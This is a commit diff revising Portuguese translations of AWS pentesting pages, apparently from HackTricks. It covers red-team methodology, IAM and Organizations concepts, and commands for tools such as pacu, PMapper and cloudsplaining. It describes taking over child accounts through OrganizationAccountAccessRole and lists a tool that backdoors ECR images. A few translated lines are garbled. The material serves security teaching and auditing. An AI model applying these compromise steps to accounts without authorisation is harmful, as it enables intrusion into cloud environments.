Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:17:32 +00:00
parent 6b8f1f076b
commit 17d930d963
221 changed files with 1540 additions and 1546 deletions

View File

@@ -4,7 +4,7 @@
## Informações Básicas
**Antes de começar o pentesting** em um **AWS** ambiente, há algumas **coisas básicas que você precisa saber** sobre como o AWS funciona para ajudá-lo a entender o que você precisa fazer, como encontrar configurações incorretas e como explorá-las.
**Antes de começar o pentesting** em um **ambiente AWS**, há algumas **coisas básicas que você precisa saber** sobre como a AWS funciona para ajudá-lo a entender o que você precisa fazer, como encontrar configurações incorretas e como explorá-las.
Conceitos como hierarquia organizacional, IAM e outros conceitos básicos são explicados em:
@@ -29,7 +29,7 @@ Ferramentas para simular ataques:
## Metodologia de Pentester/Red Team da AWS
Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** ao que, e como os serviços internos da AWS e os **serviços externos** estão conectados.
Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** a quê, e como os serviços internos da AWS e os **serviços externos** estão conectados.
Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente AWS** é conseguir obter algumas **credenciais**. Aqui estão algumas ideias sobre como fazer isso:
@@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md
Se você tiver permissões suficientes, **verificar os privilégios de cada entidade dentro da conta AWS** ajudará você a entender o que você e outras identidades podem fazer e como **escalar privilégios**.
Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar e forçar** para descobri-los.\
Verifique **como fazer a enumeração e a força bruta** em:
Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar forçando** para descobri-los.\
Verifique **como fazer a numeração e a força bruta** em:
{{#ref}}
aws-services/aws-iam-enum.md
@@ -152,22 +152,22 @@ https://book.hacktricks.xyz/
### Da conta root/gestão
Quando a conta de gestão cria novas contas na organização, um **novo papel** é criado na nova conta, por padrão nomeado **`OrganizationAccountAccessRole`** e concedendo a política **AdministratorAccess** à **conta de gestão** para acessar a nova conta.
Quando a conta de gestão cria novas contas na organização, um **novo papel** é criado na nova conta, por padrão nomeado **`OrganizationAccountAccessRole`** e dando a política **AdministratorAccess** à **conta de gestão** para acessar a nova conta.
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
Portanto, para acessar como administrador uma conta filha, você precisa:
- **Comprometer** a conta de **gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin.
- **Comprometer** a **conta de gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin.
- Para encontrar contas filhas, vá para a seção de organizações no console da aws ou execute `aws organizations list-accounts`
- Você não pode encontrar o nome dos papéis diretamente, então verifique todas as políticas IAM personalizadas e procure qualquer uma que permita **`sts:AssumeRole` sobre as contas filhas descobertas anteriormente**.
- **Comprometer** um **principal** na conta de gestão com **permissão `sts:AssumeRole` sobre o papel nas contas filhas** (mesmo que a conta permita que qualquer um da conta de gestão se passe por ela, como é uma conta externa, permissões específicas de `sts:AssumeRole` são necessárias).
- **Comprometer** um **principal** na conta de gestão com **permissão `sts:AssumeRole` sobre o papel nas contas filhas** (mesmo que a conta permita que qualquer um da conta de gestão se impersonifique, como é uma conta externa, permissões específicas de `sts:AssumeRole` são necessárias).
## Ferramentas Automatizadas
### Recon
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, escrita em Ruby.
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, multi-threaded, escrita em Ruby.
```bash
# Install
gem install aws_recon
@@ -233,14 +233,14 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura de nuvem, aplicativos SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicativos SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Esta é uma ferramenta que tenta **descobrir todos os** [**recursos da AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) criados em uma conta.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): É uma ferramenta para **buscar todos os endereços IP públicos** (tanto IPv4/IPv6) associados a uma conta da AWS.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubra os usuários mais privilegiados no ambiente AWS escaneado, incluindo os AWS Shadow Admins. Ele usa powershell. Você pode encontrar a **definição de políticas privilegiadas** na função **`Check-PrivilegedPolicy`** em [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu é um **framework de exploração da AWS** de código aberto, projetado para testes de segurança ofensiva contra ambientes de nuvem. Ele pode **enumerar**, encontrar **configurações incorretas** e **explorá-las**. Você pode encontrar a **definição de permissões privilegiadas** em [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro do dicionário **`user_escalation_methods`**.
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu é um **framework de exploração da AWS** de código aberto, projetado para testes de segurança ofensiva contra ambientes em nuvem. Ele pode **enumerar**, encontrar **configurações incorretas** e **explorá-las**. Você pode encontrar a **definição de permissões privilegiadas** em [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro do dicionário **`user_escalation_methods`**.
- Observe que o pacu **verifica apenas seus próprios caminhos de privesc** (não em toda a conta).
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
- [**PMapper**](https://github.com/nccgroup/PMapper): O Principal Mapper (PMapper) é um script e biblioteca para identificar riscos na configuração do AWS Identity and Access Management (IAM) para uma conta AWS ou uma organização AWS. Ele modela os diferentes Usuários e Funções IAM em uma conta como um grafo direcionado, o que permite verificações para **escalonamento de privilégios** e para caminhos alternativos que um atacante poderia seguir para obter acesso a um recurso ou ação na AWS. Você pode verificar as **permissões usadas para encontrar caminhos de privesc** nos arquivos que terminam em `_edges.py` em [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
- [**PMapper**](https://github.com/nccgroup/PMapper): O Principal Mapper (PMapper) é um script e biblioteca para identificar riscos na configuração do AWS Identity and Access Management (IAM) para uma conta AWS ou uma organização AWS. Ele modela os diferentes Usuários e Funções IAM em uma conta como um grafo direcionado, o que permite verificações para **elevação de privilégios** e para caminhos alternativos que um atacante poderia seguir para obter acesso a um recurso ou ação na AWS. Você pode verificar as **permissões usadas para encontrar caminhos de privesc** nos arquivos que terminam em `_edges.py` em [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining é uma ferramenta de Avaliação de Segurança do AWS IAM que identifica violações do princípio do menor privilégio e gera um relatório HTML priorizado por risco.\
Ele mostrará clientes **super privilegiados** potenciais, políticas **inline** e **políticas** do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso).
Ele mostrará clientes **com privilégios excessivos** potenciais, políticas inline e do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso).
```bash
# Install
pip install cloudsplaining
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e CloudFront.
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e do CloudFront.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Listar repositórios ECR -> Puxar repositório ECR -> Inserir backdoor -> Enviar imagem com backdoor
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** através de snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados.
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** em snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados.
### Auditoria
@@ -318,7 +318,7 @@ prowler aws --profile custom-profile [-M csv json json-asff html]
```bash
cloudfox aws --profile [profile-name] all-checks
```
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite é uma ferramenta de auditoria de segurança multi-nuvem de código aberto, que permite a avaliação da postura de segurança de ambientes de nuvem.
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite é uma ferramenta de auditoria de segurança multi-nuvem de código aberto, que permite a avaliação da postura de segurança de ambientes em nuvem.
```bash
# Install
virtualenv -p python3 venv
@@ -334,8 +334,8 @@ scout aws -p dev
### Auditoria Contínua
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian é um mecanismo de regras para gerenciar contas e recursos de nuvem pública. Ele permite que os usuários **definam políticas para habilitar uma infraestrutura de nuvem bem gerenciada**, que seja segura e otimizada em custos. Ele consolida muitos dos scripts ad hoc que as organizações possuem em uma ferramenta leve e flexível, com métricas e relatórios unificados.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** é uma plataforma para **monitoramento contínuo de conformidade, relatórios de conformidade e automação de segurança para a nuvem**. No PacBot, políticas de segurança e conformidade são implementadas como código. Todos os recursos descobertos pelo PacBot são avaliados em relação a essas políticas para medir a conformidade com as políticas. A estrutura **auto-fix** do PacBot fornece a capacidade de responder automaticamente a violações de políticas, tomando ações predefinidas.
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian é um mecanismo de regras para gerenciar contas e recursos de nuvem pública. Ele permite que os usuários **definam políticas para habilitar uma infraestrutura de nuvem bem gerenciada**, que seja segura e otimizada em custos. Ele consolida muitos dos scripts ad hoc que as organizações m em uma ferramenta leve e flexível, com métricas e relatórios unificados.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** é uma plataforma para **monitoramento contínuo de conformidade, relatórios de conformidade e automação de segurança para a nuvem**. No PacBot, políticas de segurança e conformidade são implementadas como código. Todos os recursos descobertos pelo PacBot são avaliados em relação a essas políticas para medir a conformidade com as políticas. A estrutura de **auto-fix** do PacBot fornece a capacidade de responder automaticamente a violações de políticas, tomando ações predefinidas.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert é uma estrutura de análise de dados **em tempo real** sem servidor que permite que você **ingeste, analise e envie alertas** sobre dados de qualquer ambiente, **usando fontes de dados e lógica de alerta que você define**. Equipes de segurança da informação usam o StreamAlert para escanear terabytes de dados de log todos os dias para detecção e resposta a incidentes.
## DEBUG: Capturar solicitações do AWS cli

View File

@@ -10,7 +10,7 @@
No AWS, existe uma **conta root**, que é o **container pai para todas as contas** da sua **organização**. No entanto, você não precisa usar essa conta para implantar recursos, pode criar **outras contas para separar diferentes infraestruturas AWS** entre si.
Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem especificamente criadas), assim você pode criar limites entre implantações.
Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem criadas especificamente), assim você pode criar limites entre implantações.
Portanto, existem **dois tipos de contas em uma organização** (estamos falando de contas AWS e não de contas de usuário): uma única conta designada como a conta de gerenciamento e uma ou mais contas membros.
@@ -33,29 +33,29 @@ aws organizations create-account --account-name testingaccount --email testingac
```
### **Unidades de Organização**
As contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Observe que uma OU pode ter outras OUs como filhas.
Contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Note que uma OU pode ter outras OUs como filhas.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
Uma **política de controle de serviço (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**.
Uma **service control policy (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**.
Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de fazer algo. Por exemplo, pode ser usada para impedir que usuários desativem o CloudTrail ou excluam backups.\
A única maneira de contornar isso é comprometer também a **conta mestre** que configura as SCPs (a conta mestre não pode ser bloqueada).
A única maneira de contornar isso é comprometer também a **conta master** que configura as SCPs (a conta master não pode ser bloqueada).
> [!WARNING]
> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** em sua conta.
> Note que **as SCPs apenas restringem os principais na conta**, então outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** na sua conta.
Exemplos de SCP:
- Negar completamente a conta root
- Permitir apenas regiões específicas
- Permitir apenas serviços na lista branca
- Negar que GuardDuty, CloudTrail e S3 Public Block Access sejam
- Negar o acesso ao GuardDuty, CloudTrail e S3 Public Block de
desativados
ser desativado
- Negar que funções de segurança/resposta a incidentes sejam excluídas ou
@@ -96,7 +96,7 @@ Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, voc
Note que um novo **usuário admin** terá **menos permissões que o usuário root**.
Do ponto de vista de segurança, é recomendado criar outros usuários e evitar usar este.
Do ponto de vista da segurança, é recomendado criar outros usuários e evitar usar este.
### [Usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
@@ -104,11 +104,11 @@ Um _usuário_ IAM é uma entidade que você cria na AWS para **representar a pes
Quando você cria um usuário IAM, você concede **permissões** tornando-o um **membro de um grupo de usuários** que tem políticas de permissão apropriadas anexadas (recomendado), ou **anexando políticas diretamente** ao usuário.
Os usuários podem ter **MFA habilitado para login** através do console. Tokens de API de usuários com MFA habilitado não são protegidos por MFA. Se você quiser **restringir o acesso das chaves de API de um usuário usando MFA**, você precisa indicar na política que, para realizar certas ações, a MFA precisa estar presente (exemplo [**aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
Os usuários podem ter **MFA habilitado para login** através do console. Tokens de API de usuários com MFA habilitado não são protegidos por MFA. Se você quiser **restringir o acesso das chaves de API de um usuário usando MFA**, você precisa indicar na política que, para realizar certas ações, o MFA precisa estar presente (exemplo [**aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **ID da Chave de Acesso**: 20 caracteres alfanuméricos aleatórios em maiúsculas, como AKHDNAPO86BSHKDIRYT
- **ID da Chave de Acesso**: 20 caracteres alfanuméricos aleatórios em maiúsculas como AKHDNAPO86BSHKDIRYT
- **ID da Chave de Acesso Secreta**: 40 caracteres aleatórios em maiúsculas e minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Não é possível recuperar IDs de chave de acesso secreta perdidos).
Sempre que você precisar **mudar a Chave de Acesso**, este é o processo que você deve seguir:\
@@ -117,7 +117,7 @@ Sempre que você precisar **mudar a Chave de Acesso**, este é o processo que vo
### MFA - Autenticação de Múltiplos Fatores
É usado para **criar um fator adicional para autenticação** além dos seus métodos existentes, como senha, criando assim um nível de autenticação multifatorial.\
Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como o google authentication gratuitamente para ativar um MFA na AWS.
Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como autenticação do Google gratuitamente para ativar um MFA na AWS.
Políticas com condições de MFA podem ser anexadas aos seguintes:
@@ -125,7 +125,7 @@ Políticas com condições de MFA podem ser anexadas aos seguintes:
- Um recurso como um bucket Amazon S3, fila Amazon SQS ou tópico Amazon SNS
- A política de confiança de um papel IAM que pode ser assumido por um usuário
Se você quiser **acessar via CLI** um recurso que **verifica a MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre a MFA.\
Se você quiser **acessar via CLI** um recurso que **verifica o MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre o MFA.\
Note que **as credenciais de `AssumeRole` não contêm essas informações**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
@@ -147,7 +147,7 @@ Aqui estão algumas características importantes dos grupos de usuários:
### [Funções IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de estar exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir diferentes permissões para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM.
Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de ser exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir diferentes permissões para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM.
Uma função IAM consiste em **dois tipos de políticas**: uma **política de confiança**, que não pode estar vazia, definindo **quem pode assumir** a função, e uma **política de permissões**, que não pode estar vazia, definindo **o que pode acessar**.
@@ -155,9 +155,9 @@ Uma função IAM consiste em **dois tipos de políticas**: uma **política de co
O AWS Security Token Service (STS) é um serviço web que facilita a **emissão de credenciais temporárias e de privilégio limitado**. É especificamente adaptado para:
### [Credenciais temporárias no IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
### [Credenciais temporárias em IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas.
**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **previne** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas.
### Políticas
@@ -169,7 +169,7 @@ São usadas para atribuir permissões. Existem 2 tipos:
- Políticas Gerenciadas pelo Cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria.
Por **padrão, o acesso** é **negado**, o acesso será concedido se um papel explícito tiver sido especificado.\
Se **um único "Negar" existir, ele irá sobrepor o "Permitir"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
Se **um único "Deny" existir, ele irá sobrepor o "Allow"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -197,8 +197,8 @@ Os [campos específicos que podem ser usados para condições por serviço estã
#### Políticas Inline
Esse tipo de políticas são **atribuídas diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\
Políticas inline são úteis se você quiser **manter uma relação estrita um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o Console de Gerenciamento da AWS para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal.
Esse tipo de políticas é **atribuído diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\
As políticas inline são úteis se você deseja **manter uma relação estrita um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o AWS Management Console para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal.
#### Políticas de Bucket de Recursos
@@ -206,17 +206,17 @@ Essas são **políticas** que podem ser definidas em **recursos**. **Nem todos o
Se um principal não tiver uma negação explícita sobre eles, e uma política de recurso conceder acesso, então eles são permitidos.
### Limites do IAM
### Limites IAM
Os limites do IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
Os limites IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Assim, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.
Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Portanto, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.
**Isso**, **SCPs** e **seguir o princípio do menor privilégio** são as maneiras de controlar que os usuários não tenham mais permissões do que as que precisam.
### Políticas de Sessão
Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite do IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
Isso é útil para **medidas de segurança**: Quando um administrador vai assumir uma função muito privilegiada, ele pode restringir a permissão apenas às indicadas na política de sessão, caso a sessão seja comprometida.
```bash
@@ -226,14 +226,14 @@ aws sts assume-role \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por outros motivos. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Portanto, se em algum momento você enfrentar o erro "... porque nenhuma política de sessão permite o ...", e a função tem acesso para realizar a ação, é porque **há uma política de sessão impedindo isso**.
### Federação de Identidade
A federação de identidade **permite que usuários de provedores de identidade que são externos** à AWS acessem recursos da AWS de forma segura, sem precisar fornecer credenciais de usuário da AWS de uma conta IAM válida.\
Um exemplo de um provedor de identidade pode ser o seu próprio **Microsoft Active Directory** corporativo (via **SAML**) ou serviços de **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS.
Um exemplo de um provedor de identidade pode ser seu próprio **Microsoft Active Directory** corporativo (via **SAML**) ou serviços **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS.
Para configurar essa confiança, um **Provedor de Identidade IAM é gerado (SAML ou OAuth)** que **confiará** na **outra plataforma**. Em seguida, pelo menos uma **função IAM é atribuída (confiando) ao Provedor de Identidade**. Se um usuário da plataforma confiável acessar a AWS, ele estará acessando como a função mencionada.
@@ -243,7 +243,7 @@ No entanto, você geralmente desejará dar uma **função diferente dependendo d
### Centro de Identidade IAM
O AWS IAM Identity Center (sucessor do AWS Single Sign-On) expande as capacidades do AWS Identity and Access Management (IAM) para fornecer um **local central** que reúne a **administração de usuários e seu acesso a contas** da AWS e aplicativos em nuvem.
O AWS IAM Identity Center (sucessor do AWS Single Sign-On) expande as capacidades do AWS Identity and Access Management (IAM) para fornecer um **local central** que reúne **administração de usuários e seu acesso a contas AWS** e aplicativos em nuvem.
O domínio de login será algo como `<user_input>.awsapps.com`.
@@ -263,20 +263,20 @@ Para dar acesso a um usuário/grupo do Identity Center a uma conta, um **Provedo
É possível **dar permissões via políticas inline para funções criadas via IAM Identity Center**. As funções criadas nas contas que estão sendo dadas **políticas inline no AWS Identity Center** terão essas permissões em uma política inline chamada **`AwsSSOInlinePolicy`**.
Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que elas têm as mesmas permissões**.
Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que tenha as mesmas permissões**.
### Confianças e Funções entre Contas
### Confiança e Funções entre Contas
**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas da AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
É recomendado **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.
**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
